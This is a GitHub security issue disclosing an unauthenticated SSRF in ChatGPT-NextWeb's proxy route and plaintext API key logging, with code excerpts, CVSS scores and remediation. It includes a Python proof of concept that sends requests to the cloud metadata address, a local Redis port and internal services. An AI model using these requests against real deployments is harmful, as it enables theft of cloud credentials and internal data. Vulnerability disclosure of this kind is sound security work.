Skip to content

[Security] Unauthenticated SSRF via Proxy Default Branch (CVSS 8.6) + Server-Side API Key Logging (CVSS 6.4) #6772

@icysun

Description

@icysun

ChatGPT-NextWeb: Unauthenticated SSRF via Proxy Default Branch and Server-Side API Key Logging

Summary

ChatGPT-NextWeb has two confirmed security vulnerabilities in its core proxy and API key management:

  1. Unauthenticated SSRF via Proxy Default Branch (P0): The /api/{unknown-provider}/{path} route's default branch calls proxyHandler() without any authentication check. Unlike all other provider handlers (OpenAI, Anthropic, Google, etc.) which require auth(), the proxy handler accepts requests from anyone. The attacker-controlled x-base-url header is directly used to construct the fetch URL, with no URL whitelist, protocol restrictions, or internal IP filtering. Response data is returned to the attacker.

  2. Server-Side API Key Logged in Plaintext (P1): server.ts:124-129 logs the complete API key string to stdout on every API key rotation via console.log(). No truncation, masking, or redaction is applied. In cloud deployments (Vercel, AWS, GCP), stdout logs are typically collected with long retention, making this a high-value information leak.

Affected Versions

  • ChatGPT-NextWeb (all versions with proxy functionality)
  • app/api/proxy.ts:21-37 (SSRF)
  • app/config/server.ts:124-129 (Key leak)

CVSS v4.0

#1 Unauthenticated SSRF: 8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N

#2 Server-Side API Key Logging: 6.4 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Details

Vulnerability 1: Unauthenticated SSRF

File: app/api/proxy.ts:21-37

// default branch - NO auth() check
const handler = async (req: Request) => {
  try {
    return await proxyHandler(req, { params });
  } catch (error) {
    res.status = 502;
    return;
  }
};

Contrast: All known providers call auth() before processing:

case "openai": return auth(req, ModelProvider.OpenAI);
case "anthropic": return auth(req, ModelProvider.Anthropic);
// ... every other provider has auth()

Attack Chain:

  1. Attacker sends GET /api/evil/anything HTTP/1.1 with header x-base-url: http://169.254.169.254/latest/meta-data/
  2. Server hits default branch → proxyHandler() → fetches target URL
  3. Response (cloud metadata, internal service data) is returned to attacker

Vulnerability 2: Server-Side API Key Logging

File: app/config/server.ts:124-129

console.log(
  `[Server Config] using ${randomIndex + 1} of ${apiKeys.length} api key - ${apiKey}`,
);

The apiKey variable contains the full API key string with no masking.

PoC

import requests

TARGET = "https://nextchat.example.com"

# SSRF - access cloud metadata
headers = {"x-base-url": "http://169.254.169.254/latest/meta-data/"}
resp = requests.get(f"{TARGET}/api/evil/anything", headers=headers)
print(resp.text[:500])

# SSRF - internal service scan
headers = {"x-base-url": "http://127.0.0.1:6379/status"}
resp = requests.get(f"{TARGET}/api/internal-api/health", headers=headers)
print(resp.text[:500])

# SSRF - full request/response proxy
headers = {"x-base-url": "http://internal-app:8080/api/users", "Content-Type": "application/json"}
resp = requests.post(f"{TARGET}/api/proxy/users", headers=headers, json={"name": "admin"}, timeout=10)
print(resp.text[:500])

Remediation

  1. SSRF: Add auth() check to the default branch, or add a global middleware that validates authentication for unknown providers.
  2. API Key Logging: Replace console.log(apiKey) with console.log(apiKey.slice(0, 8) + "***") to prevent full key exposure.

References

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-532: Exposure of System Information to Unauthorized Actors

Discoverer

IcySun & Yashon
icysun@qq.com

CVE Request

We request CVE assignment for both vulnerabilities.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions